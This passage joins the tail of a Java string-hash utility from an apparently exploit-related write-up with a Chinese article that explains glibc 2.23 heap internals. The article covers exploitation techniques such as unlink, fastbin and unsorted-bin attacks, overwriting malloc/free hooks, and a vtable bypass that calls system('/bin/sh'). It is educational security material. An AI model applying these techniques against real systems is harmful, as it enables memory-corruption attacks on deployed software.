for (i = 0; i < str.length(); i++) {
c = str.charAt(i);
sb.append("\\u");
j = (c >>> 8); // 取出高8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
j = (c & 0xFF); // 取出低8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
}
return (new String(sb));
}
public static String string2Unicode(String string) {
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < string.length(); i++) {
// 取出每一个字符
char c = string.charAt(i);
// 转换为unicode
unicode.append("\\u" + Integer.toHexString(c));
}
return unicode.toString();
}
/**
* Returns a string with a hash equal to the argument.
*
* @return string with a hash equal to the argument.
* @author - Joseph Darcy
*/
public static String unhash(int target) {
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
/**
*
* @author - Joseph Darcy
*/
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) {
System.out.println(convert(unhash(877174790)));
System.out.println("\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b".hashCode());
}
}
补一张成功利用的截图
### 总结
只要方向对，撸起袖子加油干！
### 参考
[1] https://github.com/rapid7/metasploit-framework/pull/7815
* * * | 社区文章 |
# 前言
对一些有趣的堆相关的漏洞的利用做一个记录，如有差错，请见谅。
文中未做说明 均是指 `glibc 2.23`
相关引用已在文中进行了标注，如有遗漏，请提醒。
# 简单源码分析
本节只是简单跟读了一下 `malloc` 和 `free` 的源码， 说的比较简单，很多细节还是要自己拿一份源代码来读。
## 堆中的一些数据结构
### **堆管理结构**
struct malloc_state {
mutex_t mutex; /* Serialize access. */
int flags; /* Flags (formerly in max_fast). */
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
mfastbinptr fastbins[NFASTBINS]; /* Fastbins */
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2];
unsigned int binmap[BINMAPSIZE]; /* Bitmap of bins */
struct malloc_state *next; /* Linked list */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
* `malloc_state`结构是我们最常用的结构，其中的重要字段如下：
* `fastbins`：存储多个链表。每个链表由空闲的`fastbin`组成，是`fastbin freelist`。
* `top` ：`top chunk`，指向的是`arena`中剩下的空间。如果各种`freelist`都为空，则从`top chunk`开始分配堆块。
* `bins`：存储多个双向链表。意义上和堆块头部的双向链表一样，并和其组成了一个双向环状空闲列表（freelist）。这里的bins位于freelist的结构上的头部， **后向指针（bk）指向freelist逻辑上的第一个节点** 。分配`chunk`时从逻辑上的第一个节点分配寻找合适大小的堆块。
### **堆块结构**
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
* `prev_size`： **相邻的前一个堆块大小** 。这个字段只有在前一个堆块（且该堆块为`normal chunk`）处于 **释放状态** 时才有意义。这个字段最重要（甚至是唯一）的作用就是用于 **堆块释放时快速和相邻的前一个空闲堆块融合** 。该字段不计入当前堆块的大小计算。在前一个堆块不处于空闲状态时，数据为前一个堆块中用户写入的数据。libc这么做的原因主要是可以节约4个字节的内存空间，但为了这点空间效率导致了很多安全问题。
* `size`：本堆块的长度。长度计算方式： **size字段长度+用户申请的长度+对齐** 。libc以 **size_T 长度*2** 为粒度对齐。例如 **32bit** 以 4 _2= **8byte** 对齐， **64bit** 以 **8\_2=0×10 **对齐。因为最少以8字节对齐，所以size一定是8的倍数，** 故size字段的最后三位恒为0 **，libc用这三个bit做标志flag。比较关键的是最后一个bit（pre_inuse），用于指示相邻的前一个堆块是alloc还是free。如果正在使用，则 bit=1。libc判断** 当前堆块是否处于free状态的方法 **就是 判断下一个堆块的** pre_inuse** 是否为 1 。这里也是 `double free` 和 `null byte offset` 等漏洞利用的关键。
* `fd &bk`：双向指针，用于组成一个双向空闲链表。故这两个字段 **只有在堆块free后** 才有意义。堆块在alloc状态时，这两个字段内容是用户填充的数据。 **两个字段可以造成内存泄漏（libc的bss地址），Dw shoot等效果** 。
* 值得一提的是，堆块根据大小，libc使用fastbin、chunk等逻辑上的结构代表，但其存储结构上都是malloc_chunk结构，只是各个字段略有区别，如fastbin相对于chunk，不使用bk这个指针，因为fastbin freelist是个单向链表。
**来源**
[Libc堆管理机制及漏洞利用技术](http://www.freebuf.com/articles/system/91527.html)
## Malloc 源码分析
用户调用 `malloc` 时会先进入 `__libc_malloc`
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))// 如果设置了 __malloc_hook 就执行然后返回
return (*hook)(bytes, RETURN_ADDRESS (0));
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
return victim;
}
如果设置了 `__malloc_hook` 就执行它然后返回， 否则进入 `_int_malloc` 这个函数就是 `malloc` 的具体实现
static void *
_int_malloc (mstate av, size_t bytes)
{
/*
计算出实际需要的大小，大小按照 2 * size_t 对齐， 64位： 0x10
所以如个 malloc(0x28) ----> nb = 0x30, 0x10 header + 0x20 当前块 + 0x8 下一块的 pre_size
*/
checked_request2size (bytes, nb);
/*
如果是第一次触发 malloc, 就会调用 sysmalloc---> mmap 分配内存返回
*/
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
首先把传入的 `bytes` 转换为 `chunk` 的实际大小，保存到 `nb` 里面。然后如果是第一次调用 `malloc` , 就会进入
`sysmalloc` 分配内存。
### 搜索Fastbin
接着会看申请的 `nb` 是不是在 `fastbin` 里面，如果是进入 `fastbin` 的处理流程
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb); // 找到nb 对应的 fastbin 的 索引 idx
mfastbinptr *fb = &fastbin (av, idx);// 找到对应的 fastbin 的指针
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) //如果 fastbin 非空，就进入这里
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))// 判断大小是否满足 fastbin相应bin的大小要求
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
首先根据 `nb` 找到该大小对应的 `fastbin` 的项， 然后看看该 `fastbin` 是不是为空，如果非空，就分配该 `fastbin`
的第一个 `chunk` 给用户。
分配过程还会检查待分配的 `chunk` 的 `size` 是不是满足在该 `fastbin` 项的限制。
fastbin_index (chunksize (victim)) != idx
### 搜索Smallbin
如果 `fastbin` 为空或者 `nb` 不在 `fastbin` 里面，就会进入 `smallbin` 和 `largebin` 的处理逻辑
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);// 找到 smallbin 索引
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) // 判断 bin 中是不是有 chunk
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)) // 链表检查
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb); //设置下一个chunk的 in_use 位
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
/*
大内存分配，进入 malloc_consolidate
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
如果申请的 `nb` 位于 `smallbin` 的范围，就会 `fastbin` 一样去找对应的项，然后判断 `bin` 是不是为空，如果不空,
分配第一个 `chunk` 给用户，分配之前还会校验该 `chunk` 是不是正确的。如果为空，就会进入 `unsorted bin` 的处理了。
__glibc_unlikely (bck->fd != victim)
如果 `nb` 不满足 `smallbin` ，就会触发 `malloc_consolidate` . 然后进入 `unsorted bin`
### 搜索Unsorted bin
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 遍历 unsorted bin
{
bck = victim->bk;
size = chunksize (victim);
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
遍历 `unsorted bin` ， 如果此时的 `unsorted bin` 只有一项，且他就是 `av->last_remainder`
,同时大小满足
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)
就对当前 `unsorted bin` 进行切割，然后返回切割后的 `unsorted bin` 。
否则就先把该 `unsorted bin` 从 `unsorted list` 中移除下来，这里用了一个 类似 `unlink` 的操作，不过没有检查
`chunk` 的指针
/*先摘下该 unsorted bin */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 如果申请的大小和该 unsorted bin的大小刚好相等，就直接返回
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
如果申请的大小和该 `unsorted bin` 的大小刚好相等，就直接返回， 否则就把它放到相应的 `bin` 里面去。
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
.......
.......
如果 `size` 在 `smallbin` 里就放到 `smallbin` ，否则就放到 `large bin`
### 搜索 Largebin
接下来就会去搜索 `largebin` 了
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
### 使用 Top chunk
victim = av->top;
size = chunksize (victim);
// 如果 top chunk 大小足够大就从 top chunk 里面分配
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
如果 `top chunk` 的大小足够就直接切割分配，否则如果此时还有 `fastbin` 就触发 `malloc_consolidate`
重复上述流程，如果没有 `fastbin` 调用 `sysmalloc` 分配内存
## Free 源码分析
### _GI___libc_free
首先是 `_GI___libc_free`
void __fastcall _GI___libc_free(void *ptr)
{
if ( _free_hook )
{
_free_hook(ptr, retaddr);
}
else if ( ptr )
{
v1 = (unsigned __int64)ptr - 16;
v2 = *((_QWORD *)ptr - 1);
if ( v2 & 2 ) // 判断size位，判断是不是 mmap 获得的 chunk
{
if ( !mp_.no_dyn_threshold
&& v2 > mp_.mmap_threshold
&& v2 <= 0x2000000
&& (v1 < (unsigned __int64)dumped_main_arena_start || v1 >= (unsigned __int64)dumped_main_arena_end) )
{
mp_.mmap_threshold = v2 & 0xFFFFFFFFFFFFFFF8LL;
mp_.trim_threshold = 2 * (v2 & 0xFFFFFFFFFFFFFFF8LL);
}
munmap_chunk((mchunkptr)((char *)ptr - 16));
}
else
{
av = &main_arena;
if ( v2 & 4 )
av = *(malloc_state **)(v1 & 0xFFFFFFFFFC000000LL);
int_free(av, (mchunkptr)v1, 0);
}
}
}
如果存在 `free_hook` ， 就会直接调用 `free_hook(ptr)` 然后返回。否则判断被 `free` 的 内存是否是 `mmap`
获取的 ，如果是则使用 `munmap_chunk` 回收内存，否则进入 `_int_free`
### _int_free
首先会做一些简单的检查
size = chunksize (p);
//检查指针是否正常，对齐
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}
// 检查 size 是否 >= MINSIZE ，且是否对齐
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}
// 检查 chunk 是否处于 inuse 状态
check_inuse_chunk(av, p);
检查
* 指针是否对齐
* 块的大小是否对齐，且大于最小的大小
* 块是否在 `inuse` 状态
### 进入 fastbin
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) {
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ // next->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem; //
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old; // 插入 fastbin
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
如果 `size` 满足 `fastbin` 的条件，则首先判断 `next_chunk->size` 要满足
next_chunk->size > 2 * SIZE_SZ
next_chunk->size < av->system_mem
接着就会找对相应的 `fastbin` ，然后插入 该 `bin` 的第一项。插入前有一个检查
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
就是 `p->size` 索引到的 `fastbin` 的第一个指针不能和当前的 `p` 相同，否则会被认为是 `double free`
### 进入 Unsorted bin
如果被 `free` 的这个块不是 通过 `mmap` 获得的，就会进入下面的逻辑
else if (!chunk_is_mmapped(p)) {
if (! have_lock) {
(void)mutex_lock(&av->mutex);
locked = 1;
}
// 得到下一个 chunk 的指针
nextchunk = chunk_at_offset(p, size);
// 不能 free top chunk
if (__glibc_unlikely (p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
// nextchunk 不能越界，就是限制了 p->size
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
/*p 要被标识为 inuse 状态 */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
nextsize = chunksize(nextchunk);
// nextsize 在 [ 2 * SIZE_SZ, av->system_mem] 之间
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
/* 如果 p的前一个块是 free 状态，就向前合并，通过 p->pre_inused 判断*/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
// 获得 nextchunk 的下一个 chunk, 的 pre_inused位
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果 nextchunk 也是 free 状态的，合并
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
// 合并的结果放置到 unsorted bin
bck = unsorted_chunks(av);
fwd = bck->fd;
// 防止 unsortedbin 被破坏
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
// 如果 free 得到的 unsorted bin 的 size(包括合并chunk 得到的) 大于等于 FASTBIN_CONSOLIDATION_THRESHOLD 就会触发 malloc_consolidate
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);
if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
} else {
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));
assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}
if (! have_lock) {
assert (locked);
(void)mutex_unlock(&av->mutex);
}
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
大概流程
* 首先做了一些检查， `p != top_chunk`, `p->size` 不能越界， 限制了 `next_chunk->size`, `p`要处于 `inuse`状态（通过 `next_chunk->pre_inused` 判断）
* 接着判断 `p` 的前后相邻块是不是 `free` 状态，如果是就合并
* 根据此次拿到的 `unsorted bin` 的 大小，如果 `size>=FASTBIN_CONSOLIDATION_THRESHOLD` 就会触发 `malloc_consolidate`
如果 `p` 是通过 `mmap` 获得的，就通过
munmap_chunk (p);
释放掉他
## Check In Glbc
函数名 | 检查 | 报错信息
---|---|---
unlink | p->size == nextchunk->pre_size | corrupted size vs prev_size
unlink | p->fd->bk == p 且 p->bk->fd == p | corrupted double-linked list
_int_malloc | 当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin
的大小，比如在0x20的 fastbin中其大小就要为0x20 | malloc():memory corruption (fast)
_int_malloc | 当从 smallbin 分配 chunk( victim) 时， 要求 victim->bk->fd == victim |
malloc(): smallbin double linked list corrupted
_int_malloc | 当迭代 unsorted bin 时 ，迭代中的 chunk (cur)要满足，cur->size 在 [2*SIZE_SZ,
av->system_mem] 中 | malloc(): memory corruption
_int_free | 当插入一个 chunk 到 fastbin时，判断fastbin的 head 是不是和 释放的 chunk 相等 | double
free or corruption (fasttop)
_int_free | 判断 next_chunk->pre_inuse == 1 | double free or corruption (!prev
**来源**
[heap-exploitation](https://github.com/DhavalKapil/heap-exploitation)
# 各种漏洞原理及利用
## 通用的信息泄露思路
当 `chunk` 处于 `free` 状态时，会进入 `bin` 里面，其中的 `fd` 和 `bk` 可以用于信息泄露
* 分配两个 `0x90` 的 `chunk(p0, p1)`
* 释放掉 `p0`, `p0` 会进入 `unsorted bin`
* 分配 `0x90` 的 `chunk`,再次拿到 `p0`, 在 `malloc` 的实现中不会对这些指针进行清空，就可以泄露
如果分配后的内存被 `memset` 清空后，就需要利用一些其他的漏洞才能利用。
> `Unsorted bin` 用于泄露 `libc`
>
> `fastbin` 用于 泄露 `heap` 地址
## Unlink 利用
### 原理
在把 `chunk` 从 `bins` 拿下来时 会触发 `unlink` 操作
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
如果我们可以伪装 `fd` 和 `bk` 过掉 `unlink` 的检查，就可以实现 `4` 字节写
### 利用
首先利用其它的漏洞伪造下面的内存布局
* p0 = malloc(0x80), p1 = malloc(0x80), ptr = p0
* 此时 `free(p1)` ，发现 `p1` 所在 `chunk` 的 `pre_size = 0` , 表明前一个 `chunk` 已经 `free`, 于是向前合并
* 通过 `p1 - 0x10 - 0x80` ( **chunk_addr - pre_size** ) , 找到前面已经释放的 `chunk` , 也就是 我们 伪造的 `fake chunk p1`
* 然后进行 `unlink`, 实现 `*ptr = ptr-0x18`
## Fastbin Attack 总结
### 原理
`Fastbin` 在分配 `chunk` 时，只检查 **p- >size&0xfffffffffffff000是否满足等于的 fastbin的大小**
，而且 **不检查指针是否对齐** 。所以我们只要找到 `size` 为 `fastbin` 的范围，然后修改 位于 `fastbin` 的 `chunk`
的 `fd` 到这 ，分配几次以后，就可以分配到这个位置
### 利用方式
#### 利用 libc 中的 现有的 数据
##### __malloc_hook 附近
64位下在 **__malloc_hook - 0x23 + 0x8** 处 的值 为 `p64(0x7f)` ，这些值可以通过 `gdb +
hexdump` 找找
然后想办法修改 位于 `0x70` 的 `fastbin` 的 `chunk` 的 `fd` 为 **__malloc_hook - 0x23**
，然后分配几次 0x70 的 chunk 就可以修改 `__malloc_hook`
##### main_arean->fastbinY 数组
该数组用于存放 指定大小的 `fastbin` 的表头指针，如果为空则为 `p64(0)` , 而堆的地址基本 是 `0x5x` 开头的（其在内存就是
`xx xx..... 5x`)， 此时如果在 `main_arean->fastbinY` 的 相邻项为 `0x0` (相邻大小的 `fastbin`),
就会出现 `5x 00 00 00...` , 所以就可以出现 `0x000000000000005x` ，可以把它作为 `fastbin` 的
`size` 进行 `fastbin attack` ， **不过作为 fastbin attack 的 size 不能 为 0x55**
于是想办法修改 位于 `0x50` 的 `fastbin` 的 `chunk` 的 `fd` 为 **__malloc_hook - 0x23**
，然后分配几次 `0x50` 的 chunk 就可以分配到 `main_arean`, 然后就可以修改 `main_arean->top` 。
##### std* 结构体
在 `std*` 类结构体中有很多字段都会被设置为 0x0 , 同时其中的某些字段会有 libc 的地址大多数情况下 libc 是加载在
`0x7f....` ， 配合着 `std*` 中的 其他 0x0 的字段，我们就可以有 `p64(0x7f)` ， 然后修改 位于 `0x70` 的
`fastbin` 的 `chunk` 的 `fd` 为该位置即可。
#### 自己构造 size
##### 利用 unsorted bin attack 往 __free_hook 构造 size
我们知道如果我们可以 修改 `unsorted bin` 的 `fd` 和 `bk` , 在对 `unsorted bin` 拆卸的 时候 我们就能实现
*(bk + 0x10) = main_arean->unsorted_bin
利用这个我们就能往任意地址写入 `main_arean` 的地址， 由于 `libc` 的地址基本都是 `0x7fxxxxx`, 所以写完以后我们就可以在
`__free_hook` 的前面构造出 `p64(0x7f)` , 可以作为 `fastbin attack` 的目标，然后修改
`__free_hook`
有一个 **小坑** 要注意，在 `__free_hook-0x30` 开始 的 `0x30` 个字节 是 `_IO_stdfile_*_lock`
区域，用于 `std*` 类文件的锁操作，这个区域的内存会被 **经常清零** 。
所以 `unsorted bin attack` 应该往上面一点， 比如 **libc.symbols['__free_hook'] - 0x50**
还有一点就是在进行 `unsorted bin attack` 以后 ， `unsorted bin` 链表就被破坏了，所以 就只能通过 `fastbin`
或者 `smallbin` 进行内存的分配，所以我们应该先劫持 `fastbin` 的 `fd` 到 目标位置，然后触发 `unsorted bin
attack` 写入 `size`, 最后进行 `fastbin attack` ，修改 `__free_hook`
##### 利用 fastbin 往 main_arean 构造 size
* 首先分配 `0x40` 的 `chunk p`, 然后释放掉 `p` ，进入 `0x40` 的 `fastbin`
* 然后通过一些手段，修改 `p->fd = p64(0x71)`
* 分配 `0x40` 的 `chunk` ，会拿到 `p` , 此时 `main_arean->fastbinY` 中 `0x40` 大小对应的项的值为 `p64(0x71)`
* 然后分配 `0x71` 的 `chunk p2`, 释放掉
* 修改 `p2->fd` 为 `main_arean->fastbinY` 的相应位置，然后分配两次，即可分配到 `main_arean->fastbinY`
* 然后通过修改 `main_arean->top`, 即可分配到 **malloc_hook 或者 free_hook** 等
## Unsorted bin Attack
### 原理
因为 `unsorted bin` 的取出操作没有使用 `unlink` 宏，而是自己实现的几行代码
bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
所以当我们控制了 victim的 bk 时，则 `bk + 0x10` 会被改写成 **unsorted bin 的地址** ，但是 `unsorted
bin` 的 `bk` **也会被破坏** ，下一次再到这里时就可能因为 `victim->bk->fd` 不可写而造成 `SIGSEGV`。
所以在触发 `unsorted bin attack` 以后就 **只能** 通过 **fastbin** 和 **smallbin** 来分配内存了(
**否则会进入 unsorted bin 的流程，会报错** )，所以在 触发 `unsorted bin attack` 需要把需要的内存布局好。
### 利用的方式
##### 写 stdin->_IO_buf_end
在 glibc中 scanf, gets 等函数默认是对 stdin 结构体进行操作。以 `scanf` 为例
* 在调用 `scanf` 获取输入时，首先会把输入的东西复制到 `[_IO_buf_base , _IO_buf_end ]`, 最大大小为 `_IO_buf_end - _IO_buf_base`。
* 修改 `unsorted bin` 的 `bck` 为 `_IO_base_end-0x10` ,就可以使 `_IO_base_end=main_arens+0x88`,我们就能修改很多东西了， **而且`malloc_hook` 就在这里面**。
##### __IO_list_all 和 abort 以及 修改虚表到 _IO_wstrn_jumps
###### 原理
**绕过虚表校验**
其实就是对 `house of orange` 在 `libc2.24` 里面的再利用。 在 `libc2.24` 里对 `vtable` 进行了校验。
对 `vtable` 进行校验的函数是 `IO_validate_vtable`
就是保证 `vtable` 要在 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间。
这里的目标就是 `_IO_wstrn_jumps` ，这个也是一个 `vtable` ，能够满足 `IO_validate_vtable`的校验。
在 `_IO_wstrn_jumps` 有一个有趣的函数 `IO_wstr_finish` ， 位于
**libc.symbols['_IO_wstrn_jumps'] + 0x10**
void __fastcall IO_wstr_finish(_IO_FILE_2 *fp, int dummy)
{
_IO_FILE_plus *fp_; // rbx
wchar_t *io_buf_base; // rdi
fp_ = fp;
io_buf_base = fp->_wide_data->_IO_buf_base;
if ( io_buf_base && !(fp_->file._flags2 & 8) )
(fp_[1].file._IO_read_ptr)(io_buf_base, *&dummy); // call qword ptr [fp+0E8h]
fp_->file._wide_data->_IO_buf_base = 0LL;
_GI__IO_wdefault_finish(fp_, 0);
}
我们把 `fp->_wide_data` 改成 `fp` ， 然后设置 `fp->_IO_buf_base` 设置为 `/bin/sh`
的地址，`fp_[1].file._IO_read_ptr` ( **fp+0xe8** ) 改成 `system` 的地址，其他字段根据 `check`
